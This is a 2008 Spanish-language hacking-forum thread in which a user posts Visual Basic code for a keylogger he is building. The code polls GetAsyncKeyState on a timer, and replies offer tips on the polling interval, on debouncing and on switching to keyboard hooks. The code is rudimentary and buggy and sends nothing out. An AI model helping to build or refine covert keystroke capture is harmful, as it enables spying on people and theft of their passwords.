Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: & eDu & en 5 Octubre 2008, 19:49 pm



Título: Problema con mi Keylogger
Publicado por: & eDu & en 5 Octubre 2008, 19:49 pm
Bueno, estoy programando mi keylogger y el timer que capta las pulsaciones no se a que intervalo ponerlo porque si escribes muy rapido no coje muy bien las teclas, tengo de intervalo 150.

¿Alguien sabe a cuanto ponerlo? Gracias.


Título: Re: Problema con mi Keylogger
Publicado por: aaronduran2 en 5 Octubre 2008, 19:54 pm
El que había hecho yo en mis inicios lo puse a 1 milisegundo y funcionaba perfectamente.

Saludos.


Título: Re: Problema con mi Keylogger
Publicado por: & eDu & en 5 Octubre 2008, 20:00 pm
Si lo pongo a 1, por ejemplo cuando pulsa una tecla = se repite la misma tecla 2 o 3 veces...


Título: Re: Problema con mi Keylogger
Publicado por: DarkMatrix en 5 Octubre 2008, 20:46 pm
Pon el Interval en 90, a mi me funciono con ese intervalo de tiempo sin repetir las letras Saludos xD!


Título: Re: Problema con mi Keylogger
Publicado por: & eDu & en 5 Octubre 2008, 21:17 pm
Sigue sin ir bien, hay veces que no pilla las telcas, las repite etc...


Título: Re: Problema con mi Keylogger
Publicado por: WestOn en 5 Octubre 2008, 21:36 pm
Si usas un teclado inalambrico quizas esq te faltan pilas y va mal :xD
Yo el q tengo esta en 50 y no me da errores ni na..

un saludo

PD:¿Y no sera el code en donde esta el error?


Título: Re: Problema con mi Keylogger
Publicado por: & eDu & en 5 Octubre 2008, 21:51 pm
Estoy en un portatil, mira el code

Código
  1. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  2. Dim cadena As String
  3.  
  4. Private Sub Timer1_Timer()
  5.    If GetAsyncKeyState(vbKeyA) <> 0 Then
  6.     cadena = cadena + "a"
  7.    If GetAsyncKeyState(vbKeyB) <> 0 Then
  8.     cadena = cadena + "b"
  9.     ElseIf GetAsyncKeyState(vbKeyC) <> 0 Then
  10.     cadena = cadena + "c"
  11.     ElseIf GetAsyncKeyState(vbKeyD) <> 0 Then
  12.     cadena = cadena + "d"
  13.     ElseIf GetAsyncKeyState(vbKeyE) <> 0 Then
  14.     cadena = cadena + "e"
  15.     ElseIf GetAsyncKeyState(vbKeyF) <> 0 Then
  16.     cadena = cadena + "f"
  17.     ElseIf GetAsyncKeyState(vbKeyG) <> 0 Then
  18.     cadena = cadena + "g"
  19.     ElseIf GetAsyncKeyState(vbKeyH) <> 0 Then
  20.     cadena = cadena + "h"
  21.     ElseIf GetAsyncKeyState(vbKeyI) <> 0 Then
  22.     cadena = cadena + "i"
  23.     ElseIf GetAsyncKeyState(vbKeyJ) <> 0 Then
  24.     cadena = cadena + "j"
  25.     ElseIf GetAsyncKeyState(vbKeyK) <> 0 Then
  26.     cadena = cadena + "k"
  27.     ElseIf GetAsyncKeyState(vbKeyL) <> 0 Then
  28.     cadena = cadena + "l"
  29.     ElseIf GetAsyncKeyState(vbKeyM) <> 0 Then
  30.     cadena = cadena + "m"
  31.     ElseIf GetAsyncKeyState(vbKeyN) <> 0 Then
  32.     cadena = cadena + "n"
  33.     ElseIf GetAsyncKeyState(vbKeyR) <> 0 Then
  34.     cadena = cadena + "r"
  35.     ElseIf GetAsyncKeyState(vbKeyO) <> 0 Then
  36.     cadena = cadena + "o"
  37.     ElseIf GetAsyncKeyState(vbKeyP) <> 0 Then
  38.     cadena = cadena + "p"
  39.     ElseIf GetAsyncKeyState(vbKeyQ) <> 0 Then
  40.     cadena = cadena + "q"
  41.     ElseIf GetAsyncKeyState(vbKeyS) <> 0 Then
  42.     cadena = cadena + "s"
  43.     ElseIf GetAsyncKeyState(vbKeyT) <> 0 Then
  44.     cadena = cadena + "t"
  45.     ElseIf GetAsyncKeyState(vbKeyU) <> 0 Then
  46.     cadena = cadena + "u"
  47.     ElseIf GetAsyncKeyState(vbKeyW) <> 0 Then
  48.     cadena = cadena + "w"
  49.   ElseIf GetAsyncKeyState(vbKeyX) <> 0 Then
  50.     cadena = cadena + "x"
  51.     ElseIf GetAsyncKeyState(vbKeyY) <> 0 Then
  52.     cadena = cadena + "y"
  53.     ElseIf GetAsyncKeyState(vbKeyZ) <> 0 Then
  54.     cadena = cadena + "z"
  55.     ElseIf GetAsyncKeyState(32) <> 0 Then
  56.     cadena = cadena + " "
  57.     ElseIf GetAsyncKeyState(13) <> 0 Then
  58.     cadena = cadena + vbNewLine
  59.     ElseIf GetAsyncKeyState(63) <> 0 Then
  60.     cadena = cadena + "?"
  61.     ElseIf GetAsyncKeyState(191) <> 0 Then
  62.     cadena = cadena + "¿"
  63.     End If
  64.     Text1.Text = cadena
  65. End Sub


Título: Re: Problema con mi Keylogger
Publicado por: WestOn en 5 Octubre 2008, 21:59 pm
 :-\


Título: Re: Problema con mi Keylogger
Publicado por: seba123neo en 6 Octubre 2008, 03:28 am
Hola, por favor nunca haria un keylogger con un intervlo de 1 milisegundo, te come en recursos el programa, se puede hacer sin timer usando un Hook...

saludos.


Título: Re: Problema con mi Keylogger
Publicado por: Karcrack en 6 Octubre 2008, 19:02 pm
Si has de usar el metodo del Timer, el cual no me gusta demasiado :-\... prueba a obtener la 'Velocidad de Repeticion' del teclado, que esta en 'Panel De Control'/'Teclado'

Saludos :D


Título: Re: Problema con mi Keylogger
Publicado por: & eDu & en 6 Octubre 2008, 20:05 pm
Y si no lo hago con timer, ¿como lo hago? Gracias.


Título: Re: Problema con mi Keylogger
Publicado por: skapunky en 6 Octubre 2008, 21:05 pm
Hay un metodo llamado "Por encuesta" que trata de eliminar justamente errores de repeticiónes mecanicas en teclados. Este metodo es muy utilizado en teclados matriciales por ejemplo en electrónica y en este caso puede ser exactamente aplicable a la informática.

Trata de pillar el valor de una tecla, guardarlo, esperar un tiempo muy corto,volver a captar el valor de la tecla, y por ultimo comparar.

Lo malo que si expresamente un usuario clikea dos veces la misma tecla solo te lo captara una vez, pero como pista te dire que con un segundo timer a menor tiempo puedes comprobarlo.

Otra alternativa es la chapuza de ir probando tiempos como te han dicho...aunque yo de eso no me fiaria al 100% ya que npo todos los teclados son iguales de "rapidos".


Título: Re: Problema con mi Keylogger
Publicado por: & eDu & en 6 Octubre 2008, 21:20 pm
¿Y los keyloggers como lo hacen? Ya que los keyloggers si que lo pillan todo ala perfección.


Título: Re: Problema con mi Keylogger
Publicado por: el_c0c0 en 6 Octubre 2008, 21:49 pm
¿Y los keyloggers como lo hacen? Ya que los keyloggers si que lo pillan todo ala perfección.
con hooks..


Título: Re: Problema con mi Keylogger
Publicado por: & eDu & en 6 Octubre 2008, 22:01 pm
y un hook que es?


Título: Re: Problema con mi Keylogger
Publicado por: w0od93 en 6 Octubre 2008, 22:39 pm
Estoy en un portatil, mira el code

Código
  1. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  2. Dim cadena As String
  3.  
  4. Private Sub Timer1_Timer()
  5.    If GetAsyncKeyState(vbKeyA) <> 0 Then
  6.     cadena = cadena + "a"
  7.    If GetAsyncKeyState(vbKeyB) <> 0 Then
  8.     cadena = cadena + "b"
  9.     ElseIf GetAsyncKeyState(vbKeyC) <> 0 Then
  10.     cadena = cadena + "c"
  11.     ElseIf GetAsyncKeyState(vbKeyD) <> 0 Then
  12.     cadena = cadena + "d"
  13.     ElseIf GetAsyncKeyState(vbKeyE) <> 0 Then
  14.     cadena = cadena + "e"
  15.     ElseIf GetAsyncKeyState(vbKeyF) <> 0 Then
  16.     cadena = cadena + "f"
  17.     ElseIf GetAsyncKeyState(vbKeyG) <> 0 Then
  18.     cadena = cadena + "g"
  19.     ElseIf GetAsyncKeyState(vbKeyH) <> 0 Then
  20.     cadena = cadena + "h"
  21.     ElseIf GetAsyncKeyState(vbKeyI) <> 0 Then
  22.     cadena = cadena + "i"
  23.     ElseIf GetAsyncKeyState(vbKeyJ) <> 0 Then
  24.     cadena = cadena + "j"
  25.     ElseIf GetAsyncKeyState(vbKeyK) <> 0 Then
  26.     cadena = cadena + "k"
  27.     ElseIf GetAsyncKeyState(vbKeyL) <> 0 Then
  28.     cadena = cadena + "l"
  29.     ElseIf GetAsyncKeyState(vbKeyM) <> 0 Then
  30.     cadena = cadena + "m"
  31.     ElseIf GetAsyncKeyState(vbKeyN) <> 0 Then
  32.     cadena = cadena + "n"
  33.     ElseIf GetAsyncKeyState(vbKeyR) <> 0 Then
  34.     cadena = cadena + "r"
  35.     ElseIf GetAsyncKeyState(vbKeyO) <> 0 Then
  36.     cadena = cadena + "o"
  37.     ElseIf GetAsyncKeyState(vbKeyP) <> 0 Then
  38.     cadena = cadena + "p"
  39.     ElseIf GetAsyncKeyState(vbKeyQ) <> 0 Then
  40.     cadena = cadena + "q"
  41.     ElseIf GetAsyncKeyState(vbKeyS) <> 0 Then
  42.     cadena = cadena + "s"
  43.     ElseIf GetAsyncKeyState(vbKeyT) <> 0 Then
  44.     cadena = cadena + "t"
  45.     ElseIf GetAsyncKeyState(vbKeyU) <> 0 Then
  46.     cadena = cadena + "u"
  47.     ElseIf GetAsyncKeyState(vbKeyW) <> 0 Then
  48.     cadena = cadena + "w"
  49.   ElseIf GetAsyncKeyState(vbKeyX) <> 0 Then
  50.     cadena = cadena + "x"
  51.     ElseIf GetAsyncKeyState(vbKeyY) <> 0 Then
  52.     cadena = cadena + "y"
  53.     ElseIf GetAsyncKeyState(vbKeyZ) <> 0 Then
  54.     cadena = cadena + "z"
  55.     ElseIf GetAsyncKeyState(32) <> 0 Then
  56.     cadena = cadena + " "
  57.     ElseIf GetAsyncKeyState(13) <> 0 Then
  58.     cadena = cadena + vbNewLine
  59.     ElseIf GetAsyncKeyState(63) <> 0 Then
  60.     cadena = cadena + "?"
  61.     ElseIf GetAsyncKeyState(191) <> 0 Then
  62.     cadena = cadena + "¿"
  63.     End If
  64.     Text1.Text = cadena
  65. End Sub

Te falta la "v" :P